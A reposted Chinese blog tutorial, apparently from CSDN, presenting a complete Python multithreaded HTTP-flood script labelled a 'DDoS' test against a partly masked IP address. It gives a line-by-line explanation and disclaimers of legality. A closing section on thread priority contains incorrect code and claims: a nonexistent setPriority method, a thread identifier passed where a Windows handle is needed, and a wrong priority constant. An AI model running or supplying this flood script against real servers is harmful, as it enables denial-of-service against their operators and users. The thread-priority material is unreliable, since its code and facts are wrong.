基于python的一个简单的压力测试（DDoS）脚本
DDoS测试脚本
声明：本文所涉及代码仅供学习使用，任何人利用此造成的一切后果与本人无关
源码
import requests
import threading
# 目标URL
target_url = "http://47.121.xxx.xxx/"
# 发送请求的函数
def send_request():
while True:
try:
response = requests.get(target_url)
print(f"Sent request to {target_url}, Status Code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
# 创建多个线程进行攻击
def start_attack(thread_counts):
threads = []
for i in range(thread_counts):
thread = threading.Thread(target=send_request)
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
# 设置线程数量
thread_count = 10
start_attack(thread_count)
源码解析
代码结构
-
导入模块
import requests import threading-
requests模块用于发送HTTP请求。 -
threading模块用于创建和管理线程。
-
-
定义目标URL
target_url = "http://47.121.xxx.xxx/"-
这里指定了要发送请求的目标URL。
-
-
发送请求的函数
def send_request(): while True: try: response = requests.get(target_url) print(f"Sent request to {target_url}, Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error: {e}")-
send_request函数在一个无限循环中不断发送HTTP GET请求到目标URL。 -
使用
try-except块捕获可能的请求异常，并打印错误信息。
-
-
创建多个线程进行攻击
def start_attack(thread_counts): threads = [] for i in range(thread_counts): thread = threading.Thread(target=send_request) threads.append(thread) thread.start() for thread in threads: thread.join()-
start_attack函数接受一个参数thread_counts，表示要创建的线程数量。 -
使用一个循环创建指定数量的线程，每个线程的目标函数是
send_request。 -
启动所有线程后，使用
join方法等待所有线程完成。
-
-
主程序入口
if __name__ == "__main__": # 设置线程数量 thread_count = 10 start_attack(thread_count)-
在主程序入口处，设置线程数量为10，并调用
start_attack函数启动攻击。
-
功能描述
-
该脚本的主要功能是对指定的目标URL进行高并发的HTTP GET请求。
-
通过创建多个线程，每个线程不断发送请求，从而实现对目标服务器的压力测试或DDoS攻击。
注意事项
-
合法性：这种行为可能违反目标服务器的使用条款，甚至可能触犯法律。未经授权进行此类操作是非法的，请务必确保在合法授权的情况下进行。
-
道德性：即使有授权，也应考虑对目标服务器的影响，避免对其造成不必要的负担或损害。
安全建议
-
避免滥用：不要将此类脚本用于恶意目的，如DDoS攻击。
-
合理使用：仅在合法授权的情况下，用于性能测试或安全评估。
-
监控与控制：在实际使用中，应设置合理的请求频率和线程数量，避免对目标服务器造成过大压力。
总之，这段代码展示了如何使用Python进行多线程HTTP请求，但在实际使用中应严格遵守法律法规和道德准则。
多线程的优先级调用
在 Python 中，线程优先级通常不由开发者直接设置，而是依赖于操作系统的线程调度机制。Python 的 threading 模块并没有提供直接设置线程优先级的功能。不过，你可以使用 os 模块中的 nice() 函数来尝试影响线程的优先级，但这通常只在 Unix/Linux 系统上有效，并且这种影响是有限的。
以下是一个示例，展示如何在 Unix/Linux 系统上使用 os.nice() 来尝试调整线程的优先级：
import threading
import os
import time
def worker():
while True:
print(f"Thread {threading.current_thread().name} is running")
time.sleep(1)
# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")
# 设置线程的优先级（仅适用于 Unix/Linux）
try:
# 设置线程的 nice 值为 10（较低的优先级）
os.nice(10)
except AttributeError:
print("Setting thread priority is not supported on this platform.")
# 启动线程
t.start()
# 主线程等待一段时间后退出
time.sleep(5)
在这个示例中，我们创建了一个新线程并尝试使用 os.nice() 来设置其优先级。需要注意的是，os.nice() 影响的是进程的优先级，而不是单个线程的优先级。在 Unix/Linux 系统上，Python 线程实际上是共享同一个进程的，因此 os.nice() 会影响整个进程及其所有线程。
如果你需要在 Windows 系统上设置线程优先级，可以使用 threading.Thread 的 setPriority() 方法（这是一个非标准的扩展，只在某些版本的 Python 中可用），或者使用 ctypes 库来调用 Windows API。
以下是一个在 Windows 上使用 ctypes 设置线程优先级的示例：
import threading
import ctypes
import time
# 定义线程优先级常量
THREAD_PRIORITY_LOWEST = 19
def set_thread_priority(thread, priority):
"""设置线程的优先级"""
ctypes.windll.kernel32.SetThreadPriority(ctypes.c_long(thread.ident), priority)
def worker():
while True:
print(f"Thread {threading.current_thread().name} is running")
time.sleep(1)
# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")
# 启动线程
t.start()
# 设置线程的优先级
set_thread_priority(t, THREAD_PRIORITY_LOWEST)
# 主线程等待一段时间后退出
time.sleep(5)
在这个示例中，我们使用 ctypes 库调用 Windows API 来设置线程的优先级。这种方法更为复杂，但提供了更细粒度的控制。
需要注意的是，调整线程优先级可能会影响程序的性能和响应性，因此应谨慎使用，并确保充分测试。
原文地址：https://blog.csdn.net/m0_74907475/article/details/144383916
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！